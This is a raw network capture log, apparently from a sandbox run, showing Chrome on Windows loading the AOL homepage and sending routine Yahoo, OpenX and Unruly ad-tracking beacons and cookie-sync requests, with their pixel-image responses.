2024-05-23 22:35:14 UTC	1591	OUT	POST /p?s=1197805788&t=yKzF90b8YykW9cZc,0.7123100424532907&_I=&_AO=0&_NOL=0&_R=https%3A%2F%2Fwww.aol.com%2F&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03tz1MVjy1Xl4yWBPq%04_w%03membernotifications.aol.com%2Foffers%2FaolHomepage%2FstickyFooter%3Fncid%3Dmbr_rusacqdsp00000691%04st_sec%03us.dispatcher%04pt%03utility%04ver%03lca%04expn%03interstitial%04navtype%03client%04ncid%03mbr_rusacqdsp00000691%04etrg%03hide%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstop%04A_jse%03document.visibilitychange%04A_prets%031716503712%04A_prems%03174%04_E%03dwell%04_ts%031716503712%04_ms%03183%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031263x102%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://membernotifications.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://membernotifications.aol.com/offers/aolHomepage/stickyFooter Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:14 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:14 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 0 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:14 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:14 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
645	192.168.2.6	50477	35.244.159.8	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:14 UTC	1115	OUT	GET /w/1.0/cm?id=891039ac-a916-42bb-a651-4be9e3b201da&ph=a3aece0c-9e80-4316-8deb-faf804779bd1&gdpr=0&gdpr_consent=&r=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dopenx%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%7BOPENX_ID%7D HTTP/1.1 Host: u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; i=fce27513-0e48-41b6-bbf8-6f471e4664ab\|1716503696; pd=v2\|1716503697\|vMgavPkWgyiK; univ_id=537072971\|8369ae03-bf51-422b-a15c-33306b0e1dfe\|1716503706850093
2024-05-23 22:35:14 UTC	638	IN	HTTP/1.1 200 OK Vary: Accept, Accept-Encoding Set-Cookie: i=fce27513-0e48-41b6-bbf8-6f471e4664ab\|1716503696; Version=1; Expires=Fri, 23-May-2025 22:35:14 GMT; Max-Age=31536000; Secure; Domain=.openx.net; Path=/; SameSite=None Set-Cookie: pd=v2\|1716503697.17\|iKvPvMgakWgy.bwuYhEgKg2f8; Version=1; Expires=Fri, 07-Jun-2024 22:35:14 GMT; Max-Age=1296000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 P3P: CP="CUR ADM OUR NOR STA NID" Date: Thu, 23 May 2024 22:35:14 GMT Content-Type: text/html Content-Length: 940 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:14 UTC	940	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 50 69 78 65 6c 73 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 73 63 72 69 70 74 3e 69 66 28 22 62 72 6f 77 73 69 6e 67 54 6f 70 69 63 73 22 69 6e 20 64 6f 63 75 6d 65 6e 74 26 26 64 6f 63 75 6d 65 6e 74 2e 66 65 61 74 75 72 65 50 6f 6c 69 63 79 2e 61 6c 6c 6f 77 73 46 65 61 74 75 72 65 28 22 62 72 6f 77 73 69 6e 67 2d 74 6f 70 69 63 73 22 29 29 64 6f 63 75 6d 65 6e 74 2e 62 72 6f 77 73 69 6e 67 54 6f 70 69 63 73 28 29 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 70 62 73 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 73 65 74 75 69 64 3f 62 69 64 64 65 72 3d 6f 70 65 6e 78 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 67 Data Ascii: <html><head><title>Pixels</title></head><body><script>if("browsingTopics"in document&&document.featurePolicy.allowsFeature("browsing-topics"))document.browsingTopics()</script><img src="https://pbs.yahoo.com/setuid?bidder=openx&gdpr=0&gdpr_consent=&g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
646	192.168.2.6	50478	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:14 UTC	1593	OUT	POST /p?s=1197805788&t=PD9kWzUL6v1Ax2M3,0.08160570547332213&_I=&_AO=0&_NOL=0&_R=https%3A%2F%2Fwww.aol.com%2F&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03tz1MVjy1Xl4yWBPq%04_w%03membernotifications.aol.com%2Foffers%2FaolHomepage%2FstickyFooter%3Fncid%3Dmbr_rusacqdsp00000691%04st_sec%03us.dispatcher%04pt%03utility%04ver%03lca%04expn%03interstitial%04navtype%03client%04ncid%03mbr_rusacqdsp00000691%04etrg%03show%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstart%04A_jse%03document.visibilitychange%04A_prets%031716503712%04A_prems%03183%04_E%03dwell%04_ts%031716503712%04_ms%03189%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031263x102%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://membernotifications.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://membernotifications.aol.com/offers/aolHomepage/stickyFooter Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:14 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:14 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:14 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:14 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
647	192.168.2.6	50480	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:14 UTC	1591	OUT	POST /p?s=1197805788&t=YCRXJXuN4itEniRR,0.6792827469067886&_I=&_AO=0&_NOL=0&_R=https%3A%2F%2Fwww.aol.com%2F&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03tz1MVjy1Xl4yWBPq%04_w%03membernotifications.aol.com%2Foffers%2FaolHomepage%2FstickyFooter%3Fncid%3Dmbr_rusacqdsp00000691%04st_sec%03us.dispatcher%04pt%03utility%04ver%03lca%04expn%03interstitial%04navtype%03client%04ncid%03mbr_rusacqdsp00000691%04etrg%03hide%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstop%04A_jse%03document.visibilitychange%04A_prets%031716503712%04A_prems%03189%04_E%03dwell%04_ts%031716503712%04_ms%03200%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031263x102%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://membernotifications.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://membernotifications.aol.com/offers/aolHomepage/stickyFooter Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:14 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:14 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:14 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:14 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
648	192.168.2.6	50479	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:14 UTC	1593	OUT	POST /p?s=1197805788&t=W5PSVHF47PMKjFpM,0.15500314964813966&_I=&_AO=0&_NOL=0&_R=https%3A%2F%2Fwww.aol.com%2F&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03tz1MVjy1Xl4yWBPq%04_w%03membernotifications.aol.com%2Foffers%2FaolHomepage%2FstickyFooter%3Fncid%3Dmbr_rusacqdsp00000691%04st_sec%03us.dispatcher%04pt%03utility%04ver%03lca%04expn%03interstitial%04navtype%03client%04ncid%03mbr_rusacqdsp00000691%04etrg%03show%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstart%04A_jse%03document.visibilitychange%04A_prets%031716503712%04A_prems%03200%04_E%03dwell%04_ts%031716503712%04_ms%03205%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031263x102%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://membernotifications.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://membernotifications.aol.com/offers/aolHomepage/stickyFooter Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:14 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:14 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:14 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:14 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
649	192.168.2.6	50481	87.248.119.252	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:14 UTC	1331	OUT	GET /setuid?bidder=unruly&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=RX-7c64f7b4-7a90-45eb-91ae-af76e523d963-003&us_privacy=1YNN HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; uids=eyJ0ZW1wVUlEcyI6eyJndW1ndW0iOnsidWlkIjoiZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWMiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowMS4wNjMzNTMxNFoifSwicnViaWNvbiI6eyJ1aWQiOiJMV0pUWkFCTi1YLUs0UFciLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowNi44OTAzMjAxMjlaIn0sInNvbm9iaSI6eyJ1aWQiOiIzZTY5OTE1YS1hYTgxLTQ1M2MtOGJlNi02MjFhZjcxNTBmNDEiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNToxMy41NjY4NjU4ODlaIn0sInR0ZCI6eyJ1aWQiOiIzZTA3N2JiNC1iZjRhLTRjMTktOTMzZS1jOThkZGQ4ODE0MmUiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowNC42OTUzODA2OTRaIn19fQ==
2024-05-23 22:35:14 UTC	1281	IN	HTTP/1.1 200 OK content-type: image/png set-cookie: uids=eyJ0ZW1wVUlEcyI6eyJndW1ndW0iOnsidWlkIjoiZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWMiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowMS4wNjMzNTMxNFoifSwicnViaWNvbiI6eyJ1aWQiOiJMV0pUWkFCTi1YLUs0UFciLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowNi44OTAzMjAxMjlaIn0sInNvbm9iaSI6eyJ1aWQiOiIzZTY5OTE1YS1hYTgxLTQ1M2MtOGJlNi02MjFhZjcxNTBmNDEiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNToxMy41NjY4NjU4ODlaIn0sInR0ZCI6eyJ1aWQiOiIzZTA3N2JiNC1iZjRhLTRjMTktOTMzZS1jOThkZGQ4ODE0MmUiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowNC42OTUzODA2OTRaIn0sInVucnVseSI6eyJ1aWQiOiJSWC03YzY0ZjdiNC03YTkwLTQ1ZWItOTFhZS1hZjc2ZTUyM2Q5NjMtMDAzIiwiZXhwaXJlcyI6IjIwMjQtMDYtMDZUMjI6MzU6MTQuODU4ODA2MzI2WiJ9fX0=; Path=/; Domain=pbs.yahoo.com; Expires=Thu, 21 Nov 2024 22:35:14 GMT; HttpOnly; Secure; SameSite=None vary: Origin content-length: 86 date: Thu, 23 May 2024 22:35:14 GMT x-envoy-upstream-service-time: 1 server: ATS x-envoy-decorator-operation: pbs--production-euwe1.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/* Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"
2024-05-23 22:35:14 UTC	68	IN	Data Raw: 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-05-23 22:35:14 UTC	86	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 0d 49 44 41 54 08 99 63 60 60 60 60 00 00 00 05 00 01 87 a1 4e d4 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsBIT\|dIDATc````NIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
650	192.168.2.6	50485	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:14 UTC	796	OUT	GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2023-11%2F482ab9a0-7dbb-11ee-bdd7-b11fbe01bff1&client=76f99bdb8f78cd44cc0b&signature=dd57ba74d68705d4271b84c9abc4f77dd97b1a8e HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:15 UTC	1135	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 53651 Cache-Control: public, max-age=2592000 Cache-Tag: 516532202976070733770042020749559440733,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kjyo7100172-IAD cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_latency: 1 Content-Type: image/png Date: Thu, 23 May 2024 22:35:14 GMT Edge-Cache-Tag: 516532202976070733770042020749559440733,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e Etag: "70183929be02c5218d0a8cd25ed8aad1" Expiration: expiry-date="Thu, 07 Nov 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Fri, 10 May 2024 12:40:53 GMT Server: ECAcc (lhd/35F1) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=16,height=16,bytes=313,owidth=400,oheight=400,obytes=27189,ef=(1,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Served-By: cache-iad-kjyo7100172-IAD X-Timer: S1716450064.660505,VS0,VE1 Content-Length: 313 Connection: close
2024-05-23 22:35:15 UTC	313	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 03 00 00 00 28 2d 0f 53 00 00 00 4e 50 4c 54 45 47 70 4c ff ff ff ff ff ff e0 d1 f3 ff ff ff f9 f6 fd ff ff ff ff ff ff ff ff ff ff ff ff e7 dc f5 e8 dd f6 ff ff ff 51 00 ba 60 16 c0 74 33 c8 d4 c0 ee ef e7 f9 82 48 ce 8d 58 d2 55 06 bc c0 a3 e7 be 9f e5 52 01 ba 9b 6c d7 b2 8e e1 54 85 fe 4c 00 00 00 0c 74 52 4e 53 00 da c2 fd 98 fe fa 09 9b 31 da da 2a 96 1b 5b 00 00 00 8e 49 44 41 54 18 d3 6d cf 5b 16 82 30 10 04 d1 86 24 40 b4 7b 26 0f 5e ee 7f a3 7e e0 e1 43 bd 2b a8 02 00 e4 38 4c d3 10 33 2e f3 c2 8f 65 06 80 79 e4 6d 9c 01 2c 2c 7b a9 fb 96 ca 5e b8 00 b9 ba 24 7f ed 26 c9 6b 46 6c b2 6e ea 2e eb a6 16 f1 d0 5a 19 0e 49 81 75 d5 13 41 46 a6 55 5a 13 69 0a 48 a6 b3 74 49 ea Data Ascii: PNGIHDR(-SNPLTEGpLQ`t3HXURlTLtRNS1*[IDATm[0$@{&^~C+8L3.eym,,{^$&kFln.ZIuAFUZiHtI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
651	192.168.2.6	50487	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:14 UTC	4110	OUT	POST /p?_V=test&V_sec=pb&evt=ad_tb&t=0.9897200065770377&_sqno=4&ts=10500&auto=vm&bckt=none&ccode=&cdn=bcp&cont=1&cpos=&expb=aol-acookie-control%2Caol-aa-1&expn=aolhomepage&expt=&expm=na&focus=0&intl=us&lang=en-US&layout=aolgrid&lms_id=a077000000IpoJiAAJ&loc=onProp&msz=&p_sec=AOL&p_subsec=homepage&pbst=waiting&pct=aol&pd=&pg_name=&pkgt=&pls=c32aa27e-7796-468d-8df4-0e2b43fa14aa&pltype=ev-desktop&pl_bckt=&pstaid=42b897a6-9771-3329-b351-69a701a77438&pstaid_p=&pstcat=&psz=368x276&pt=home&pver=1.6.29&_rid=30rmpplj4vh3m&region=US&replay=0&rlvtscr=&s=1197803361&sec=releases&site=aolhomepage&snd=m&subsec=aol_on_video&test=aol-acookie-control%2Caol-aa-1&type=vod+short&ar=1.78&ver=td-app-aol&vid=42b897a6-9771-3329-b351-69a701a77438&vidPos=&vlng=68&vs=b2be1uzt&tmout=10&vptm=10&preload=true&errstate=none&_w=https%3A%2F%2Fwww.aol.com%2F&_R=&ucl=NaN&adUrl=https%3A%2F%2Ftb.pbs.yahoo.com%2Fv1%2Fevp%2Fasset%3Fbcid%3D5afc769f7239855a15fcee15%26pid%3D5afc75ea3a04293dad9f1a1f%26secure%3Dtrue%26rssId%3D42b897a6-9771-3329-b351-69a7 [TRUNCATED] Host: bats.video.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
